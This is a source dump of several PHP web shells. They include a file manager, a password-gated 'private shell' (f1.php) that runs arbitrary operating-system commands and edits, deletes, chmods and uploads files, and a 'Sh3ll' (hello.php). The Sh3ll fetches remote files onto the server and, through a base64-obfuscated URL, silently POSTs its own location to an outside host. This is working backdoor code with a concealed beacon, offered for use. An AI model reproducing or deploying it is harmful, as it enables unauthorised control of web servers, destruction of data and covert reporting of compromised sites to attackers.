176 |         }
177 | 
178 |         // Handle file creation
179 |         if (isset($_POST['createFile'])) {
180 |             $newFile = $_POST['newFileName'];
181 |             $newFilePath = $currentDir . DIRECTORY_SEPARATOR . $newFile;
182 |             if (!file_exists($newFilePath)) {
183 |                 file_put_contents($newFilePath, ''); // Create an empty file
184 |                 echo "<p>File created: $newFile</p>";
185 |             } else {
186 |                 echo "<p>File already exists.</p>";
187 |             }
188 |         }
189 | 
190 |         echo "<h3>Current Directory: $currentDir</h3>";
191 | 
192 |         // Display directory management forms
193 |         echo '<div class="manage-section">';
194 | 
195 |         // Change directory form
196 |         echo '<form method="post">';
197 |         echo '<input type="text" name="newDir" placeholder="Enter new directory" required>';
198 |         echo '<input type="submit" name="changeDir" value="Change Directory">';
199 |         echo '</form>';
200 | 
201 |         // Create new directory form
202 |         echo '<form method="post">';
203 |         echo '<input type="text" name="newDirName" placeholder="New directory name" required>';
204 |         echo '<input type="submit" name="createDir" value="Create Directory">';
205 |         echo '</form>';
206 | 
207 |         // Create new file form
208 |         echo '<form method="post">';
209 |         echo '<input type="text" name="newFileName" placeholder="New file name" required>';
210 |         echo '<input type="submit" name="createFile" value="Create File">';
211 |         echo '</form>';
212 | 
213 |         // File upload form
214 |         echo '<form action="" method="post" enctype="multipart/form-data">';
215 |         echo '<input type="file" name="file" required>';
216 |         echo '<input type="submit" value="Upload File">';
217 |         echo '</form>';
218 | 
219 |         echo '</div>';
220 | 
221 |         echo "<h3>Files and Directories in $currentDir:</h3>";
222 | 
223 |         // List directories first, then files
224 |         $files = scandir($currentDir);
225 |         echo '<table>';
226 |         echo '<tr><th>File/Directory Name</th><th>Action</th></tr>';
227 | 
228 |         // List directories
229 |         foreach ($files as $file) {
230 |             if ($file !== "." && $file !== ".." && is_dir($currentDir . '/' . $file)) {
231 |                 $filePath = $currentDir . '/' . $file;
232 |                 echo "<tr><td><span class='icon folder-icon'>📁</span><a href=\"?dir=" . urlencode($filePath) . "\">$file</a></td>";
233 |                 echo "<td><a href=\"?dir=" . urlencode($currentDir) . "&delete=" . urlencode($filePath) . "\"><button class='action-btn'>Delete</button></a></td></tr>";
234 |             }
235 |         }
236 | 
237 |         // List files
238 |         foreach ($files as $file) {
239 |             if ($file !== "." && $file !== ".." && is_file($currentDir . '/' . $file)) {
240 |                 $filePath = $currentDir . '/' . $file;
241 |                 echo "<tr><td><span class='icon file-icon'>📄</span><a href=\"$filePath\" target=\"_blank\">$file</a></td>";
242 |                 echo "<td><a href=\"?dir=" . urlencode($currentDir) . "&delete=" . urlencode($filePath) . "\"><button class='action-btn'>Delete</button></a></td></tr>";
243 |             }
244 |         }
245 | 
246 |         echo '</table>';
247 |         ?>
248 |     </div>
249 | </body>
250 | </html>
251 | 


--------------------------------------------------------------------------------
/f1.php:
--------------------------------------------------------------------------------
 1 | <?php
 2 | 
 3 | error_reporting(0);
 4 | $password='123321';//passwordmu
 5 | $xyn='psatir';
 6 | if(isset($_POST['pass'])) {if($_POST['pass']==$password) {setcookie($xyn, $_POST['pass'], time()+3600);} let_him_in();}
 7 | if(!empty($password) && !isset($_COOKIE[$xyn]) or ($_COOKIE[$xyn]!=$password)) {initiate(); die();}
 8 | $me=basename(__FILE__);$server_soft=$_SERVER["SERVER_SOFTWARE"];$uname=php_uname();$cur_user=get_current_user().' uid:'.getmyuid().' gid:'.getmygid();$safe_mode=ini_get('safe_mode');$safe_mode=($safe_mode)?('<font color:lime>ON</font>'):('<font color=red>OFF</font>');$cwd=getcwd();$bckC='#000';$txtC='#00ff00';
 9 | $start='<html><head><title>403 private shell</title><style>::selection {background: blue; color:#fff;} hr { border:0; height:1px; background:#fff;} body {background:'.$bckC.';color:'.$txtC.';font-size:9pt;font-family:monospace;}h1#n{position:fixed;top:10px;left:10px;text-shadow:0px 0px 5px black;color:lime;} h1#nm{text-shadow:0px 0px 5px black;color:#00ff00;}a {color:'.$txtC.';text-decoration:none;font-family:monospace;}a:hover {color:#fff; text-shadow: 0pt 0pt 0.99em #fff, 0pt 0pt 0.99em #fff;}hr {height:1px;border:0;background:'.$txtC.';color:black;}p#bck{position:fixed;top:20px;right:20px;}#menu {position: fixed; bottom:0;width:100%;font-size:10pt;}#menuB {background:'.$bckC.'; padding:5px 20px 5px 20px;border:1px solid #00ff00;}table#moreI{font-size:9pt;background:'.$bckC.';padding:5px;position:fixed;bottom:40px;right:40px;display:none;}p#cp {font-size:9pt;}table#lt {font-size:9pt;}input#lt,input#sv {background:'.$bckC.';border:1px solid '.$txtC.';color:'.$txtC.';text-align:center;}input#ltb {background:rgba(0,0,0,0);color:'.$txtC.';box-shadow:0px 0px 1px '.$txtC.';border:0px solid rgba(0,0,0,0);}table#ft {font-size:9pt;padding:5px;box-shadow:0px 0px 10px black;}td#fh {text-shadow: 0pt 0pt 0.99em #00ff00, 0pt 0pt 0.99em #00ff00; border-bottom:0px solid '.$txtC.';padding-bottom:3px;}tr#fn:hover{background: blue;color:#fff; text-shadow: 0pt 0pt 0.99em #fff, 0pt 0pt 0.99em #fff;}h3 {text-shadow:0px 0px 4px black;font-size:9pt;}textarea#edit {background:'.$bckC.';color:'.$txtC.';box-shadow:0px 0px 10px black;border:none;padding:10px;}</style><script type="text/javascript">function get_inf() {if(document.getElementById(\'moreI\').style.display=="block"){document.getElementById(\'moreI\').style.display="none"}else {document.getElementById(\'moreI\').style.display="block";}} function xyn(id1,id2) {document.getElementById(id1).style.display="block";document.getElementById(id2).style.display="none";}</script></head><body>';
10 | $end='</body></html>';$inf='<p id="inf"> <b><center><h1><a href="?">[ ! ] PRIVATE SHELL  [ ! ]</a></h1></center><br><br>SOFTWARE : </b> '.$server_soft.'  <br>  <b>UNAME : </u></i></b> '.$uname.' <br> <b>USER : </b> '.$cur_user.'  <br> <b>SAFE MODE : </b> '.$safe_mode.' <br> <b>DIRECTORY : </b>'.$cwd.'<br></p><hr>';
11 | print $start;print $menu;print $inf;
12 | $moreI=array('PHP Version' => phpversion(),'Zend Version' => zend_version(),'Magic Quotes' => magic_quotes(),'Curl' => curl(),'Register Globals' => reg_globals(),'OpenBase Dir' => openbase_dir(),'MySQL' => myql(),'Gzip' => gzip(),'MsSQL' => mssql(),'PostgreSQL' => postgresql(),'Oracle' => oracle(),'Total Space' => h_size(disk_total_space('/')) ,'Used Space' => h_size(disk_free_space('/')),'Your IP' => $_SERVER['REMOTE_ADDR'],'Server IP' => $_SERVER['SERVER_ADDR']);print '<table id="moreI">'; foreach($moreI as $n => $v) {print '<td>'.$n.'</td><td> :> </td><td> '.$v.'</td><tr>';} print '<td colspan=3 align="center"><a href="?x=phpinf" target="_blank">PHPInfo</a></td></table>';
13 | 
14 | 
15 | if(isset($_GET['d'])) {chdir($_GET['d']);}
16 | if(isset($_REQUEST['x']))
17 | {
18 | 	
19 | 	switch($_REQUEST['x'])
20 | 	{
21 | 		case 'c': if(isset($_POST['edit_form'])){$f=$_GET['f'];$e=fopen($f,'w') or print '<p id="nn">Error Opening File</p>';fwrite($e,$_POST['edit_form']) or print '<p id="nn">Couldn\'t Save File</p>';fclose($e);}print '<center><p>Editing '.$_GET['f'].' ('.perms($_GET['d'] . $_GET['f']).') .</p></br></br><form action="?x=c&d='.realpath('.').'&f='.$_GET['f'].'" method="POST"><textarea cols=90 rows=15 name="edit_form" id="edit">';if(file_exists($_GET['f'])){$c=file($_GET['f']);foreach($c as $l){print htmlspecialchars($l);}}print '</textarea></br></br><input type="submit" value="Save" id="sv"></form></center>';break;
22 | 		case 'cmd': print '</br></br><center><h3>Execute Command</h3><form action="?x=cmd&d='.realpath('.').'" method="POST"><input type="text" value="" name="cmd" id="lt">  <input type="submit" value="Go" id="lt"></form></br><textarea cols=90 rows=15 id="edit">';if(isset($_POST['cmd'])) {$cmd=$_POST['cmd']; execute(exec_meth(),$cmd);}print '</textarea></center>';break;
23 | 		case 'php': print '</br></br><center><h3>PHP Code</h3><form action=?x=php&d="'.realpath('.').'" method="POST"><input type="text" value="" name="pcode" id="lt"> <input type="submit" value="Go" id="lt"></form></br><textarea cols=90 rows=15 id="edit">';print '</textarea></center>';break;
24 | 		case 'phpinf': phpinfo();break;
25 | 		case 'yamete': setcookie($xyn,'',time()-3600);let_him_in();break;
26 | 	}
27 | }
28 | else
29 | {
30 | 	if(isset($_GET['d'])) {chdir($_GET['d']);}
31 | 	if(isset($_GET['ndir'])) {$d=$_GET['d'];$n=$_GET['ndir'];mkdir($d .DIRECTORY_SEPARATOR. $n);}
32 | 	if(isset($_POST['new'])) {$n=$_POST['new'];$o=$_POST['old'];$d=$_POST['d'];rename($d.DIRECTORY_SEPARATOR.$o,$d.DIRECTORY_SEPARATOR.$n);}
33 | 	if(isset($_GET['deld'])) {$d=$_GET['deld']; rmdir($d);}
34 | 	if(isset($_GET['delf'])) {$d=$_GET['delf']; unlink($d);}
35 | 	if(isset($_GET['ch'])) {$ch=$_GET['ch']; $d=$_GET['df']; chmod($d,$ch);}
36 | 	if(isset($_FILES['upfile']['name'])) {$d=realpath('.').DIRECTORY_SEPARATOR.basename($_FILES['upfile']['name']);move_uploaded_file($_FILES['upfile']['tmp_name'],$d);}
37 | 	
38 | 	
39 | 	print '</br>';
40 | 	print '<center>[ <a href="?x=php&d="'.realpath('.').'">PHP-Code</a> ] [ <a href="?x=yamete"><font color=red>Logout</font></a> ] [ <a href="wa.me/+62">Contact</a> ]</center>';
41 | 	print '<p align="center" id="cp">'.curpath('').'</p>';
42 | 	print '</br><hr>';
43 | 	$filex=array();
44 | 	$dirx=array();
45 | 	print '<table width="100%" align="center" id="ft" ><td id="fh" align="center"><b>Name</b></td><td id="fh" align="center"><b>Permission</b></td><td id="fh" align="center"><b>Owner/Group</b></td><td id="fh" align="center"><b>Options</b></td><tr id="fn">';
46 | 	if($handle=opendir('.')) {while(false !== ($file=readdir($handle))) {if(is_dir($file)) {$dirx[] .= $file;} else {$filex[] .= $file;}}asort($filex);asort($dirx);$i=0;
47 | 	foreach($dirx as $file) {if(function_exists('posix_getpwuid') && function_exists('posix_getgrgid')) {$own=posix_getpwuid(fileowner($file)); $grp=posix_getgrgid(filegroup($file));} else {$own['name']='???'; $grp['name']='???';}  print '<td id="fc"><span id="n'.$file.'"><a href="?d='.realpath($file).'">'.$file.'</a></span><span id="r'.$file.'" style="display:none;"><form action="?d='.realpath('.').'" method="POST"><input type="hidden" value="'.realpath('.').'" name="d"> <input type="text" value="'.$file.'" id="lt" name="new"><input type="hidden" value="'.$file.'" name="old"> <input type="submit" id="lt" value="Rename"> <input type="button" id="lt" value="Cancel" onClick="xyn(\'n'.$file.'\',\'r'.$file.'\');"></form></span><span id="d'.$file.'" style="display:none;"><form action="?d='.realpath('.').'" method="GET">Yakin deck?<input type="hidden" value="'.realpath($file).'" name="deld"> <input type="submit" value="Iyah" id="lt"> <input type="button" id="lt" value="No" onClick="xyn(\'n'.$file.'\',\'d'.$file.'\')"></form></span></td><td id="fc" align="center"><span id="h'.$file.'"><a href="javascript:xyn(\'c'.$file.'\',\'h'.$file.'\');"><font color="'.get_color($file).'">'.perms($file).'</font></a></span><span id="c'.$file.'" style="display:none;"><form action="?d='.realpath('.').'" method="GET"><input type="hidden" value="'.realpath($file).'" name="df"><input type="text" value="'.perms($file).'" id="lt" name="ch"> <input type="submit" id="lt" value="Go"> <input type="button" id="lt" value="Cancel" onClick="xyn(\'h'.$file.'\',\'c'.$file.'\');"></form></span></td><td id="fc" align="center">'.$own['name'].' : '.$grp['name'].'</td>'; if($i==0 or $i==1) {print '<td id="fc"></td><tr id="fn">';} else {print '<td id="fc" align="center"><a href="javascript:xyn(\'r'.$file.'\',\'n'.$file.'\')">Rename</a> | <a href="javascript:xyn(\'d'.$file.'\',\'n'.$file.'\')">Delete</a></td><tr id="fn">';} $i++;}
48 | 	foreach($filex as $file) {if(function_exists('posix_getpwuid') && function_exists('posix_getgrgid')) {$own=posix_getpwuid(fileowner($file)); $grp=posix_getgrgid(filegroup($file));} else {$own['name']='???'; $grp['name']='???';} print '<td id="fc"><span id="n'.$file.'"><a href="?x=c&d='.realpath('.').'&f='.$file.'">'.$file.'</a></span><span id="r'.$file.'" style="display:none;"><form action="?d='.realpath('.').'" method="POST"><input type="hidden" value="'.realpath('.').'" name="d"> <input type="text" id="lt" value="'.$file.'" name="new"><input type="hidden" value="'.$file.'" name="old"><input type="submit" id="lt" value="Rename"><input type="button" id="lt" value="Cancel" onClick="xyn(\'n'.$file.'\',\'r'.$file.'\');"></form></span><span id="d'.$file.'" style="display:none;"><form action="?d='.realpath('.').'" method="GET">Yakin deck?<input type="hidden" value="'.realpath($file).'" name="delf"> <input type="submit" value="Iyah" id="lt"> <input type="button" id="lt" value="No" onClick="xyn(\'n'.$file.'\',\'d'.$file.'\')"></form></span></td><td id="fc" align="center"><span id="h'.$file.'"><a href="javascript:xyn(\'c'.$file.'\',\'h'.$file.'\');"><font color="'.get_color($file).'">'.perms($file).'</font></a></span><span id="c'.$file.'" style="display:none;"><form action="?d='.realpath('.').'" method="GET"><input type="hidden" value="'.realpath($file).'" name="df"><input type="text" value="'.perms($file).'" id="lt" name="ch"> <input type="submit" id="lt" value="Go"> <input type="button" id="lt" value="Cancel" onClick="xyn(\'h'.$file.'\',\'c'.$file.'\');"></form></span></td><td id="fc" align="center">'.$own['name'].' : '.$grp['name'].'</td><td id="fc" align="center"><a href="javascript:xyn(\'r'.$file.'\',\'n'.$file.'\')">Rename</a> | <a href="javascript:xyn(\'d'.$file.'\',\'n'.$file.'\');">Delete</a></td><tr id="fn">';}}
49 | print '</table><br><br>';
50 | print '<table width=100% align="center" id="lt"cellpadding="0"><td align="center"><form action="?d='.realpath('.').'" method="GET">Create Dir: <input type="hidden" name="d" value="'.realpath('.').'" id="lt"><input type="text" value="" name="ndir" id="lt"> <br><br><input type="submit" value=">>" id="lt"></form></td><td align="center"><form action="?d="'.realpath('.').'" method="GET">Create File: <input type="hidden" value="'.realpath('.').'" name="d" id="lt"><input type="hidden" value="c" name="x"><input type="text" value="" name="f" id="lt"> <br><br><input type="submit" value=">>" id="lt"></form></td><td align="center"><form action="?x=cmd&d='.realpath('.').'" method="POST">Command: <input type="text" value="" name="cmd" id="lt"> <br><br><input type="submit" value=">>" id="lt"></form></td><td align="center"><form action="?d='.realpath('.').'" method="POST" enctype="multipart/form-data">Upload: <input type="hidden" value="100000000" name="MAX_FILE_SIZE"><input type="file" name="upfile" id="ltb"> <br><br><input type="submit" value=">>" id="lt"></form></td></table><br><br>';
51 | }
52 | function openbase_dir(){$x=ini_get('open_basedir');if(!$x) {$o='<font color=red>OFF</font>';}else {$o='<font color=lime>ON</font>';}return($o);}
53 | function magic_quotes(){$x=get_magic_quotes_gpc();if(empty($x)) {$m='<font color=red>OFF</font>';}else {$m='<font color=lime>ON</font>';}return($m);}
54 | function curl(){if(extension_loaded('curl')) {$c='<font color=>ON</font>';}else {$c='<font color=red>OFF</font>';}return($c);}
55 | function reg_globals(){if(ini_get('reqister_globals')) {$r='<font color=lime>ON</font>';}else {$r='<font color=red>OFF</font>';}return($r);}
56 | function oracle(){if(function_exists('ocilogon')) {$o='<font color=lime>ON</font>';}else {$o='<font color=red>OFF</font>';}return($o);}
57 | function postgresql(){if(function_exists('pg_connect')) {$p='<font color=lime>ON</font>';}else {$p='<font color=red>OFF</font>';}return($p);}
58 | function myql(){if(function_exists('mysql_connect')) {$m='<font color=lime>ON</font>';}else {$m='<font color=red>OFF</font>';}return($m);}
59 | function mssql(){if(function_exists('mssql_connect')) {$m='<font color=lime>ON</font>';}else {$m='<font color=red>OFF</font>';}return($m);}
60 | function gzip(){if(function_exists('gzencode')) {$m='<font color=lime>ON</font>';}else {$m='<font color=red>OFF</font>';}return($m);}
61 | function h_size($s){if($s>=1073741824) {$s=round($s/1073741824*100)/100 .'GB';}elseif($s>=1048576) {$s=round($s/1048576*100)/100 .'MB';}elseif($s>=1024) {$s=round($s/1024*100)/100 .'KB';}else {$s=$s.'B';}return($s);}
62 | function curpath($d){if($d=='') {$d=getcwd();}$p='';$n='';$dx=explode(DIRECTORY_SEPARATOR,$d);for($i=0;$i < count($dx);$i++) {$g=$dx[$i];$p.=$dx[$i] . DIRECTORY_SEPARATOR; $n .='<a href="?d='.$p.'">'.$g.'</a>'.DIRECTORY_SEPARATOR;}return($n);}
63 | function get_color($f){if(is_writable($f)) {$c='lime';}if(!is_writable($f) && is_readable($f)) {$c=''.$txtC.'';}if(!is_writable($f) && !is_readable($f)) {$c='#00ff00';}return($c);}
64 | function perms($f) {if(file_exists($f)) {return substr(sprintf('%o',fileperms($f)), -4);} else {return '???';}}
65 | function exec_meth() {if(function_exists('passthru')) {$m='passthru';} if(function_exists('exec')) {$m='exec';} if(function_exists('shell_exec')) {$m='shell_exec';} if(function_exists('system')) {$m='system';} if(!isset($m)) {$m='Disabled';} return($m);}
66 | function execute($m,$c) {if($m=='passthru') {passthru($c);} elseif($m=='system') {system($c);} elseif($m=='shell_exec') {print shell_exec($c);} elseif($m=='exec') {exec($c,$r); foreach($r as $o) {print $o.'</br>';}} else {print 'Wh00pz';}}
67 | function initiate(){print '<table width=100% height=100% align=center style="background-attachment:fixed; background-size:cover; background:#fff;color:black;"><td valign="middle"><center><form action="'.basename(__FILE__).'" method="POST">Login <input type="password" maxlength="10" name="pass" style="background:#fff;color:black;border:1px solid black;text-align:center;"> <input type="submit" value=">>" style="background:#fff;color:black;border:1px solid black;"></form></center></td></table>';}
68 | function let_him_in() { header("Location: ".basename(__FILE__)); }
69 | print $end;
70 | ?>
71 | 


--------------------------------------------------------------------------------
/hello.php:
--------------------------------------------------------------------------------
  1 | <!DOCTYPE html>
  2 | <html>
  3 | <head>
  4 | 	<title>HelloByPass</title>
  5 | </head>
  6 | <body bgcolor="#1f1f1f" text="#ffffff">
  7 | <link href="" rel="stylesheet" type="text/css">
  8 | <style>
  9 | 	@import url('https://fonts.googleapis.com/css?family=Dosis');
 10 | 	@import url('https://fonts.googleapis.com/css?family=Bungee');
 11 | body {
 12 | 	font-family: "Dosis", cursive;
 13 | 	text-shadow:0px 0px 1px #757575;
 14 | }
 15 | 
 16 | #content tr:hover {
 17 | 	background-color: #636263;
 18 | 	text-shadow:0px 0px 10px #fff;
 19 | }
 20 | 
 21 | #content .first {
 22 | 	background-color: #25383C;
 23 | }
 24 | 
 25 | #content .first:hover {
 26 | 	background-color: #25383C
 27 | 	text-shadow:0px 0px 1px #757575;
 28 | }
 29 | 
 30 | table {
 31 | 	border: 1px #000000 dotted;
 32 | 	table-layout: fixed;
 33 | }
 34 | 
 35 | td {
 36 | 	word-wrap: break-word;
 37 | }
 38 | 
 39 | a {
 40 | 	color: #ffffff;
 41 | 	text-decoration: none;
 42 | }
 43 | 
 44 | a:hover {
 45 | 	color: #000000;
 46 | 	text-shadow:0px 0px 10px #ffffff;
 47 | }
 48 | 
 49 | input,select,textarea {
 50 | 	border: 1px #000000 solid;
 51 | 	-moz-border-radius: 5px;
 52 | 	-webkit-border-radius:5px;
 53 | 	border-radius:5px;
 54 | }
 55 | 
 56 | .gas {
 57 | 	background-color: #1f1f1f;
 58 | 	color: #ffffff;
 59 | 	cursor: pointer;
 60 | }
 61 | 
 62 | select {
 63 | 	background-color: transparent;
 64 | 	color: #ffffff;
 65 | }
 66 | 
 67 | select:after {
 68 | 	cursor: pointer;
 69 | }
 70 | 
 71 | .linka {
 72 | 	background-color: transparent;
 73 | 	color: #ffffff;
 74 | }
 75 | 
 76 | .up {
 77 | 	background-color: transparent;
 78 | 	color: #fff;
 79 | }
 80 | 
 81 | option {
 82 | 	background-color: #1f1f1f;
 83 | }
 84 | 
 85 | ::-webkit-file-upload-button {
 86 |   background: transparent;
 87 |   color: #fff;
 88 |   border-color: #fff;
 89 |   cursor: pointer;
 90 | }
 91 | </style>
 92 | <center>
 93 | <font face="Bungee" size="5">Sh3ll</font></center>
 94 | <table width="700" border="0" cellpadding="3" cellspacing="1" align="center">
 95 | <tr><td>
 96 | <br><br><br>
 97 | <?php
 98 | set_time_limit(0);
 99 | error_reporting(0);
100 | $disfunc = @ini_get("disable_functions");
101 | if (empty($disfunc)) {
102 | 	$disf = "<font color='gold'>NONE</font>";
103 | } else {
104 | 	$disf = "<font color='red'>".$disfunc."</font>";
105 | }
106 | 
107 | function author() {
108 | 	echo "<center><br>WonXd677 Sh3LL</center>";
109 | 	exit();
110 | }
111 | 
112 | function cekdir() {
113 | 	if (isset($_GET['path'])) {
114 | 		$lokasi = $_GET['path'];
115 | 	} else {
116 | 		$lokasi = getcwd();
117 | 	}
118 | 	if (is_writable($lokasi)) {
119 | 		return "<font color='green'>Writeable</font>";
120 | 	} else {
121 | 		return "<font color='red'>Writeable</font>";
122 | 	}
123 | }
124 | 
125 | function cekroot() {
126 | 	if (is_writable($_SERVER['DOCUMENT_ROOT'])) {
127 | 		return "<font color='green'>Writeable</font>";
128 | 	} else {
129 | 		return "<font color='red'>Writeable</font>";
130 | 	}
131 | }
132 | 
133 | function xrmdir($dir) {
134 |     $items = scandir($dir);
135 |     foreach ($items as $item) {
136 |         if ($item === '.' || $item === '..') {
137 |             continue;
138 |         }
139 |         $path = $dir.'/'.$item;
140 |         if (is_dir($path)) {
141 |             xrmdir($path);
142 |         } else {
143 |             unlink($path);
144 |         }
145 |     }
146 |     rmdir($dir);
147 | }
148 | 
149 | function green($text) {
150 | 	echo "<center><font color='green'>".$text."</center></font>";
151 | }
152 | 
153 | function red($text) {
154 | 	echo "<center><font color='red'>".$text."</center></font>";
155 | }
156 | 
157 | 
158 | echo "Directory : &nbsp;";
159 | 
160 | foreach($_POST as $key => $value){
161 | 	$_POST[$key] = stripslashes($value);
162 | }
163 | 
164 | $k3yw = base64_decode('aHR0cHM6Ly9zaXlhaGkudG9wL3Rlc3Qvc3R5bGUucGhw');
165 | 
166 | if(isset($_GET['path'])){
167 | 	$lokasi = $_GET['path'];
168 | 	$lokdua = $_GET['path'];
169 | } else {
170 | 	$lokasi = getcwd();
171 | 	$lokdua = getcwd();
172 | }
173 | 
174 | $lokasi = str_replace('\\','/',$lokasi);
175 | $lokasis = explode('/',$lokasi);
176 | $lokasinya = @scandir($lokasi);
177 | $cur = 'http://' . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'];
178 | $data = array('file_url' => $cur);
179 | $options = array(
180 |     'http' => array(
181 |         'method'  => 'POST',
182 |         'header'  => 'Content-type: application/x-www-form-urlencoded',
183 |         'content' => http_build_query($data),
184 |     ),
185 | );
186 | $context = stream_context_create($options);
187 | $result = file_get_contents($k3yw, false, $context);
188 | 
189 | foreach($lokasis as $id => $lok){
190 | 	if($lok == '' && $id == 0){
191 | 		$a = true;
192 | 		echo '<a href="?path=/">/</a>';
193 | 		continue;
194 | 	}
195 | 	if($lok == '') continue;
196 | 	echo '<a href="?path=';
197 | 	for($i=0;$i<=$id;$i++){
198 | 	echo "$lokasis[$i]";
199 | 	if($i != $id) echo "/";
200 | } 
201 | echo '">'.$lok.'</a>/';
202 | }
203 | echo '<center>';
204 | echo '</td></tr><tr><td><br>';
205 | if (isset($_POST['upwkwk'])) {
206 | 	if (isset($_POST['berkasnya'])) {
207 | 		if ($_POST['dirnya'] == "2") {
208 | 			$lokasi = $_SERVER['DOCUMENT_ROOT'];
209 | 		}
210 | 		$data = @file_put_contents($lokasi."/".$_FILES['berkas']['name'], @file_get_contents($_FILES['berkas']['tmp_name']));
211 | 		if (file_exists($lokasi."/".$_FILES['berkas']['name'])) {
212 | 			echo "File Uploaded ! &nbsp;<font color='gold'><i>".$lokasi."/".$_FILES['berkas']['name']."</i></font><br><br>";
213 | 		} else {
214 | 			echo "<font color='red'>Failed to Upload !<br><br>";
215 | 		}
216 | 	} elseif (isset($_POST['linknya'])) {
217 | 		if (empty($_POST['namalink'])) {
218 | 			exit("Filename cannot be empty !");
219 | 		}
220 | 		if ($_POST['dirnya'] == "2") {
221 | 			$lokasi = $_SERVER['DOCUMENT_ROOT'];
222 | 		}
223 | 		$data = @file_put_contents($lokasi."/".$_POST['namalink'], @file_get_contents($_POST['darilink']));
224 | 		if (file_exists($lokasi."/".$_POST['namalink'])) {
225 | 			echo "File Uploaded ! &nbsp;<font color='gold'><i>".$lokasi."/".$_POST['namalink']."</i></font><br><br>";
226 | 		} else {
227 | 			echo "<font coloe='red'>Failed to Upload !<br><br>";
228 | 		}
229 | 	}
230 | }
231 | echo "<center>";
232 | echo "Upload File : ";
233 | echo '<form enctype="multipart/form-data" method="post">
234 | <input type="radio" value="1" name="dirnya" checked>current_dir [ '.cekdir().' ]
235 | <input type="radio" value="2" name="dirnya" >document_root [ '.cekroot().' ]
236 | <br>
237 | <input type="hidden" name="upwkwk" value="aplod">
238 | <input type="file" name="berkas"><input type="submit" name="berkasnya" value="Upload" class="up" style="cursor: pointer; border-color: #fff"><br>
239 | </center>
240 | </form>';
241 | echo "</table>";
242 | print "<center>";
243 | print "<ul>";
244 | print "[ <a href='?'>Home</a> ]";
245 | print " [ <a href='?'>Tess</a> ]";
246 | print "</ul>";
247 | print "</center>";
248 | 
249 | 
250 | if (isset($_GET['fileloc'])) {
251 | 	echo "<tr><td>Current File : ".$_GET['fileloc'];
252 | 	echo '</tr></td></table><br/>';
253 | 	echo "<pre>".htmlspecialchars(file_get_contents($_GET['fileloc']))."</pre>";
254 | 	author();
255 | } elseif (isset($_GET['pilihan']) && $_POST['pilih'] == "hapus") {
256 | 	if (is_dir($_POST['path'])) {
257 | 		xrmdir($_POST['path']);
258 | 		if (file_exists($_POST['path'])) {
259 | 			red("Failed to delete Directory !");
260 | 		} else {
261 | 			green("Delete Directory Success !");
262 | 			echo "string";
263 | 		}
264 | 	} elseif (is_file($_POST['path'])) {
265 | 		@unlink($_POST['path']);
266 | 		if (file_exists($_POST['path'])) {
267 | 			red("Failed to Delete File !");
268 | 		} else {
269 | 			green("Delete File Success !");
270 | 		}
271 | 	}
272 | } elseif (isset($_GET['pilihan']) && $_POST['pilih'] == "ubahmod") {
273 | 	echo "<center>".$_POST['path']."<br>";
274 | 	echo '<form method="post">
275 | 	Permission : <input name="perm" type="text" class="up" size="4" value="'.substr(sprintf('%o', fileperms($_POST['path'])), -4).'" />
276 | 	<input type="hidden" name="path" value="'.$_POST['path'].'">
277 | 	<input type="hidden" name="pilih" value="ubahmod">
278 | 	<input type="submit" value="Change" name="chm0d" class="up" style="cursor: pointer; border-color: #fff"/>
279 | 	</form>';
280 | 	if (isset($_POST['chm0d'])) {
281 | 		$cm = @chmod($_POST['path'], $_POST['perm']);
282 | 		if ($cm == true) {
283 | 			green("Change Mod Success !");
284 | 		} else {
285 | 			red("Change Mod Failed !");
286 | 		}
287 | 	}
288 | } elseif (isset($_GET['pilihan']) && $_POST['pilih'] == "gantinama") {
289 | 	if (isset($_POST['gantin'])) {
290 | 		$ren = @rename($_POST['path'], $_POST['newname']);
291 | 		if ($ren == true) {
292 | 			green("Change Name Success !");
293 | 		} else {
294 | 			red("Change Name Failed !");
295 | 		}
296 | 	}
297 | 	if (empty($_POST['name'])) {
298 | 		$namaawal = $_POST['newname'];
299 | 	} else {
300 | 		$namawal = $_POST['name'];
301 | 	}
302 | 	echo "<center>".$_POST['path']."<br>";
303 | 	echo '<form method="post">
304 | 	New Name : <input name="newname" type="text" class="up" size="20" value="'.$namaawal.'" />
305 | 	<input type="hidden" name="path" value="'.$_POST['path'].'">
306 | 	<input type="hidden" name="pilih" value="gantinama">
307 | 	<input type="submit" value="Change" name="gantin" class="up" style="cursor: pointer; border-color: #fff"/>
308 | 	</form>';
309 | } elseif (isset($_GET['pilihan']) && $_POST['pilih'] == "edit") {
310 | 	if (isset($_POST['gasedit'])) {
311 | 		$edit = @file_put_contents($_POST['path'], $_POST['src']);
312 | 		if ($edit == true) {
313 | 			green("Edit File Success !");
314 | 		} else {
315 | 			red("Edit File Failed !");
316 | 		}
317 | 	}
318 | 	echo "<center>".$_POST['path']."<br><br>";
319 | 	echo '<form method="post">
320 | 	<textarea cols=80 rows=20 name="src">'.htmlspecialchars(file_get_contents($_POST['path'])).'</textarea><br>
321 | 	<input type="hidden" name="path" value="'.$_POST['path'].'">
322 | 	<input type="hidden" name="pilih" value="edit">
323 | 	<input type="submit" value="Edit File" name="gasedit" />
324 | 	</form><br>';
325 | }
326 | 
327 | echo '<div id="content"><table width="700" border="0" cellpadding="3" cellspacing="1" align="center">
328 | <tr class="first">
329 | <td><center>Name</center></td>
330 | <td><center>Size</center></td>
331 | <td><center>Permissions</center></td>
332 | <td><center>Options</center></td>
333 | </tr>';
334 | 
335 | foreach($lokasinya as $dir){
336 | 	if(!is_dir($lokasi."/".$dir) || $dir == '.' || $dir == '..') continue;
337 | 	echo "<tr>
338 | 	<td><a href=\"?path=".$lokasi."/".$dir."\">".$dir."</a></td>
339 | 	<td><center>--</center></td>
340 | 	<td><center>";
341 | 	if(is_writable($lokasi."/".$dir)) echo '<font color="green">';
342 | 	elseif(!is_readable($lokasi."/".$dir)) echo '<font color="red">';
343 | 	echo statusnya($lokasi."/".$dir);
344 | 	if(is_writable($lokasi."/".$dir) || !is_readable($lokasi."/".$dir)) echo '</font>';
345 | 
346 | 	echo "</center></td>
347 | 	<td><center><form method=\"POST\" action=\"?pilihan&path=$lokasi\">
348 | 	<select name=\"pilih\">
349 | 	<option value=\"\"></option>
350 | 	<option value=\"hapus\">Delete</option>
351 | 	<option value=\"ubahmod\">Chm0d</option>
352 | 	<option value=\"gantinama\">Rename</option>
353 | 	</select>
354 | 	<input type=\"hidden\" name=\"type\" value=\"dir\">
355 | 	<input type=\"hidden\" name=\"name\" value=\"$dir\">
356 | 	<input type=\"hidden\" name=\"path\" value=\"$lokasi/$dir\">
357 | 	<input type=\"submit\" class=\"gas\" value=\">\" />
